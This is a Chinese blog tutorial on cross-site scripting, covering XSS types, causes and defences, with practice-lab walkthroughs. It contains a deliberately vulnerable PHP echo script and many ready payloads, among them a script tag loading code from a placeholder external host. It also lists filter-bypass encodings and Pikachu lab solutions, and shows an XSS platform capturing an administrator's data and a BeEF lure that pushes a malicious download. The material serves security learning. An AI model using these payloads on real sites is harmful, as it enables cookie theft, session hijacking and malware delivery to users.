细说XSS

什么是XSS

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。

  • 通常情况下,我们既可以把跨站脚本理解成一种Web安全漏洞,也可以理解成一种攻击手段。
  • XSS跨站脚本攻击本身对Web服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。
  • 攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时侯,恶意脚本会在受害者的计算机上悄悄执行,

理解XSS

还是有点费解的话,看看下面的演示,演示一个简单的XSS:
在搭建了phpstudy的win2008靶机上,写一个xss.php文件,内容是:

<?php

$xss=$_GET['x'];
echo $xss;

?>

正常访问如下:
在这里插入图片描述

输入了<script>alert('xss')</script>之后,xss弹窗如下:
在这里插入图片描述

解释:当我们输入字符1的时候,直接被回显出来了,如果输入的是一段js内容,当这段js内容被回显的时候,由于这段代码是js的,这意味着它可以被浏览器识别出来,并且执行,于是这段js代码被执行了,就是我们看到的一个弹窗。这就是一个简单的XSS演示。

XSS能不能实现,跟浏览器也有一些关系,有时候是浏览器类型,有时候是浏览器版本,譬如,IE浏览器:
在这里插入图片描述

漏洞存在的主要原因

  • 参数输入未经过安全过滤
  • 恶意脚本被输出到网页
  • 用户的浏览器执行了恶意脚本

XSS普遍流行的原因

(1)Web浏览器本身的设计是不安全的。浏览器包含了解析和执行JavaScript等脚本语言的能力,这些语言可用来创建各种格式丰富的功能,而浏览器只会执行,不会判断数据和程序代码是否恶意。
(2)输入与输出是Web应用程序最基本的交互,在这过程之中若没做好安全防护,Web程序很容易会出现XSS漏洞。
(3)现在的应用程序大部分是通过团队合作完成的,程序员之间的水平参差不齐,很少有人受过正规的安全培训,因此,开发出来的产品难免存在问题。
(4)不管是开发人员还是安全工程师,很多都没有真正意识到 XSS 漏洞的危害,导致这类漏洞普遍受到忽视。很多企业甚至缺乏专门的安全工程师,或者不愿意在安全问题上花费更多的时间和成本。
(5)触发跨站脚本的方式非常简单,只要向 HTML 代码中注入脚本即可,而且执行此类攻击的手段众多,譬如利用CSS、Flash等。XSS技术的运用如此灵活多变,要做到完全防御是一件相当困难的事情。
(6)随着Web 2.0的流行,网站上交互功能越来越丰富。Web 2.0鼓励信息分享与交互,这样用户就有了更多的机会去查看和修改他人的信息,比如通过论坛、Blog 或社交网络,于是黑客也就有了更广阔的空间发动XSS攻击。

XSS的危害

XSS分类

XSS根据其特性和利用手法的不同,主要分成两大类型:一种是反射型跨站脚本;另一种是存储型跨站脚本,有时还分DOM型。说有时是因为有人分了两类,有人分类三类。

反射型XSS

反射型XSS是最常见,也是使用最广的一种,主要用于将恶意脚本附加到URL地址的参数中
定义:
反射型XSS的利用一般是攻击者通过特定手法(比如利用电子邮件),诱使用户去访问一个包含恶意代码的URL,当受害者点击这些专门设计的链接的时候,恶意JavaScript代码会直接在受害者主机上的浏览器执行。
特点:
它的特点是只在用户单击时触发,而且只执行一次,非持久化,所以称为反射型跨站式脚本。
危害:
通常出现在网站的搜索栏、用户登入口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗
常用攻击手段

常见攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

在这里插入图片描述

防御手段:
使用htmlspecialchars把我们XSS要用到的一些预定义字符转化为HTML实体,导致无法再进行反射型XSS攻击。
预定义字符包括:"'<>&

存储型XSS

持久型跨站脚本(Persistent Cross-site Scripting)也等于存储型跨站脚本(Stored Cross-site Scripting),比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全
定义:
存储型XSS不需要用户单击特定URL就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意JavaScript代码的页面就会执行恶意代码。
特点:
一般出现在网站的留言、评论、博客日志等交互处,恶意脚本被存储到客户端或者服务器的数据库中,当其他用户浏览该网页时,站点即从数据库中读取恶意用户存入的非法数据,然后显示在页面中,即在受害者主机上的浏览器执行恶意代码。
危害:
持久型XSS不需要用户去单击URL进行触发,所以它的危害比反射型XSS大,黑客可以利用它渗透网站、挂马、钓鱼……
更严重的是,利用此类 XSS 能够轻易编写危害性更大的 XSS 蠕虫,跨站蠕虫是使用Ajax/JavaScript脚本语言编写的蠕虫病毒,能够在网站中实现病毒的几何数级传播,其感染速度和攻击效果都非常可怕。XSS蠕虫会直接影响到网站的所有用户,也就是一个地方出现XSS漏洞,同站点下的所有用户都可能被攻击
常用攻击手段

常见攻击方法:该攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本就会在他们的浏览器中执行相关操作。

在这里插入图片描述

DOM型

首先,什么是DOM呢?
DOM是指文档对象模型,是一个平台中立和语言中立的接口,有的程序和脚本可以动态访问和更新文档的内容、结构和样式。在web开发领域的技术浪潮中,DOM是开发者能用来提升用户体验的最重要的技术之一,而且几乎所有的现在浏览器都支持DOM。
DOM本身是一个表达XML文档的标准,HTML文档从浏览器角度来说就是XML文档,有了这些技术后,就可以通过javascript轻松访问它们。下图是一个HTML源代码的DOM树结构。
在这里插入图片描述

其次,什么是DOM-XSS呢?
通过修改页面的DOM节点形成的XSS,称之为DOM XSS。它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情。
可能触发DOM型XSS的属性

document.referer
window.name
location
innerHTML
documen.write

常用攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。

关于DOM型XSS有自动化工具:FinDOM-XSS,传送门—>FinDOM-XSS:一款针对DOM型XSS漏洞的快速扫描工具

攻击载荷

这里涉及到一些JavaScript的语法,你可以在bilibili搜索BV1Kr4y1M7Lv观看某培训机构提供的JavaScript全套课程,也可以在菜鸟教程中学习。你可以在控制台中输入代码,来简单的查看到效果
在这里插入图片描述

XSS构造

1:

<script>alert("hack")</script>   #弹出hack
<script>alert(/hack/)</script>   #弹出hack
<script>alert(1)</script>        #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com/xss.js></script>  #引用外部的xss

2:伪协议
可以使用javascript:伪协议的方式构造XSS
譬如:

<a herf="javascript:alert(/xss/)">touch me!</a>      点击链接触发xss
<img src="javascript:alert(/xss/)">            这种方法在IE6中可行

3:XSS万能模板

<sCr<scrscRiptipt>ipt>OonN\&apos;\"<>

事件驱动

“事件驱动”是一种比较经典的编程思想,在网页会发生很多事件(比如鼠标移动,键盘输入等),JS可以对这些事件进行响应,所以我们可以通过事件触发JS函数,触发XSS
事件种类:

  • window事件:对window对象触发的事件
  • Form事件: HTML表内的动作触发事件
  • Mouse事件: 由鼠标或类似用户动作触发的事件
  • Media事件: 由多媒体触发的事件

如:【注意不要复制空格之类的玩意,不然没效果】

<img src='./smile.jpg' onmouseover='alert(/xss/)'>

这个标签会引入一个图片,然后鼠标悬停在图片上的时候,出触发XSS代码

<img src=1 onerror=alert(/xss/)>

由于图片文件不存在触发错误,出现弹窗

<input type="text" onkeydown="alert(/xss/)">

当鼠标点击键盘上任意一个按键的时候触发
类似的

<input type="text" onkeyup="alert(/xss/)">
<input type="text" onkeyclick="alert(/xss/)">

XSS变形

我们可以构造XSS代码来做各种变形,以绕过XSS过滤器的检测,有以下变形方式:

  1. 大小写转换

可以将payload进行大小写转换,如下:

<Img sRc = '#' Onerror = "alert(/xss/)"/>
<a hREf = "javaScript:alert(/xss/)">click me</a>
  1. 引号的使用

HTML语言对引号的使用不敏感,但是某些过滤函数是“锱铢必较”

<img src="#" onerror="alert(/xss/)"/>
<img src='#' onerror='alert(/xss/)'/>
<img src= # onerror= alert(/xss/)/>
  1. “/”代替空格

可以利用左斜线代替空格

<img/src='#'/οnerrοr='alert(/xss/)'/>
  1. 回车

可以在一些位置添加tab(水平制表符)和回车符,来绕过关键字检测
<A hREf="javascRipt:alert(/xss/)">click me!</a>变成

<A hREf="j
a   v
a   s
c   R
i   p
t   :
alert(/xss/)">click me!</a>
  1. 对标签属性进行转码,ASCII参照

可以对标签属性进行转码,用来绕过过滤。譬如:

字母 ASCII码 10进制编码 16进制编码
a 97 a d
e 101 e e
s 115 s s

经过简单编码之后的样子:
<A hREf="j&#97;v&#97;script:allert(/xss/)">click me</a>>可以
另外,可以将以下字符插入到任意位置:

字符 10进制编码
Tab &#9
换行 &#10
回车 &#13

可以将以下字符插入到头部位置

字符 10进制编码
SOH(标题开始) &#01
STX(本文开始) &#02
  1. 分跨站

把一个XSS拆开来写<script>alert("XSS");</script>

<script>z='alert'</script>
<script>z=z+'(/xss)'</script>
<script>eval(z)</script>
  1. 双写绕过

把一个标签写两次<script>
<scr<script>ipt>

XSS插在哪

  • 用户输入作为script标签内容
  • 用户输入作为HTML注释内容
  • 用户输入作为HTML标签的属性名
  • 用户输入作为HTML标签的属性值
  • 用户输入作为HTML标签的名字
  • 直接插入到CSS里
  • 最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里!
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->
 
#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx">  </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>
 
#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>
 
#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入  id="xx" />
<><script>alert('hack')</script><b id="xx" />
 
#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>

XSS挖掘

黑盒测试

尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:

  • URL的每一个参数
  • URL本身
  • 表单
  • 搜索框

常见业务场景

  • 重灾区:评论区、留言区、个人信息、订单信息等
  • 针对型:站内信、网页即时通讯、私信、意见反馈
  • 存在风险:搜索框、当前目录、图片属性等

白盒测试(代码审计)

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。

PHP中常见的接收参数的方式有$_GET$_POST$_REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。

也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。

大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。

同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。

禁盗Cookie

如果你在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS盗用Cookie,具体一点的介绍请自行上网搜索

案例

XSS平台利用

有一种,为他人做嫁衣裳的感觉,实战中还是用BeEF吧
上网随便搜一个XSS平台,我这里用的是https://xsshs.cn/xss.php
在这里插入图片描述
新建一个项目
在这里插入图片描述

选择默认模块即可
在这里插入图片描述

平台提供了多种代码风格,随意选择一个,不一定哪个能用
在这里插入图片描述

现在XSS准备完毕,准备靶场,这里使用一个存储型
在这里插入图片描述

管理员登录之后,查看留言,即可中招
在这里插入图片描述

回到XSS平台就可以看见,如果看不见信息,说明可能被拦截了
在这里插入图片描述

Pikachu靶机XSS(跨站脚本)

实验逻辑如下图:

XSS漏洞的常见类型
危害:存储型 > 反射型 > DOM型
1:反射型
交互的数据一般不会被存储在数据库里面,一次性的,所见即所得,一般出现在查询类页面等

2:存储型
交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册页面等

3:DOM型
不会与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性的类似反射型

XSS产生的原因
形成ⅩSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。

XSS测试流程
①在目标站点上找到输入点,比如查询接口留言板等
②输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理
③通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)
④提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

反射型xss(get)

首先来试着随便输一下测试代码,然后查看页面源代码


可以看到它没做任何过滤,直接上<script>alert(/xss/)</script>在输入代码的时候发现有长度限制,先看看它是不是前端的,能不能绕过

有戏(注意,要先改长度限制,再输入payload)


或者这样绕过长度限制:利用HackBar
在这里插入图片描述

或者这样绕过长度限制:直接在地址栏里面输入
在这里插入图片描述

反射型XSS(POST)

1:按照提示登陆

2:输入一个XSS代码<script>alert(/xss/)</script>

3:回车弹窗

存储型xss

方法同【反射型xss(get)】,先来一个测试代码,接着查看页面源代码。


看起来没有做过滤,那就直接上payload<script>alert(/xss/)</script>

DOM型xss

思路依然是先来一个测试代码,然后查看页面源代码


所以,只需要闭合<a href='"+str+"'>即可,payload可以构造为:#' onclick="alert(/xss/)">

DOM型xss-x

老套路,测试代码+页面源代码


发现和上一题基本一样,payload继续用#' onclick="alert(/xss/)">

XSS盲打

1:先尽可能多的提交一下

2:按照提示登陆后台


3:登陆进去之后报了弹窗

XSS之过滤

大小写绕过<ScriPT>alert(/xss/)</ScriPT>
双写绕过 <scri<script>pt>alert(/xss/)</scr</script>pt>

XSS之htmlspecialchars

输入#' onclick='alert(1)'(建议手敲)


XSS之href输出

使用伪协议javascript:alert(1);

XSS之js输出

使用payload'</script><script>alert(/xss/)</script>


使用payloadtmac';alert(1);//

BeEF

BeEF使用教程

详细使用参见:BeEF-XSS详细使用教程
中文使用手册:《BeEF中文文档》

启用BeEF

这里简单介绍一下使用,最新版的kali好像移除了它,这里手动安装一下

apt-get  update	# 更新源
apt-get install beef-xss	# 安装BeEF

启动BeEF
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

获得XSS

在前面的章节“XSS平台利用”中,已经演示过了,这里就简单演示一下了。
在靶机的留言板处提交包含XSS代码的内容
在这里插入图片描述

网站管理员查看了这条留言
在这里插入图片描述

战果

回到BeEF,看到了有一台机器上线了。看到了关于这台机器的一些相关信息
在这里插入图片描述

BeEF的功能很强大,这里简单演示一下其中的部分功能

下载恶意文件

一种社会工程学攻击,上网搜一张Flash的图片,复制图片地址,然后点击执行
在这里插入图片描述

靶机的页面上出现了一个图片链接,大大的图片出现在屏幕中央,em,,,,这里应该使用一张矢量图,效果会更好一些。鼠标放在图片上,左下角可以看到图片指向的地址。即,点击图片,就会下载你执行的一个文件。
在这里插入图片描述

靶场

XSS-change
XSSchallenge(1-13题)

xss.haozi.me
项目地址:https://github.com/haozi/xss-demo
项目答案:https://github.com/haozi/xss-demo/issues/1
在线靶场:https://xss.haozi.me/#/0x00
教程:xss靶场练习(一)之xss.haozi.me

参考

《XSS跨站脚本攻击剖析与防御》
[网络安全] 五.XSS跨站脚本攻击详解及分类-1
FinDOM-XSS:一款针对DOM型XSS漏洞的快速扫描工具
web漏洞 | XSS(跨站攻击脚本)详解
什么是HttpOnly

Guess you like

Origin blog.csdn.net/weixin_44288604/article/details/119877436
xss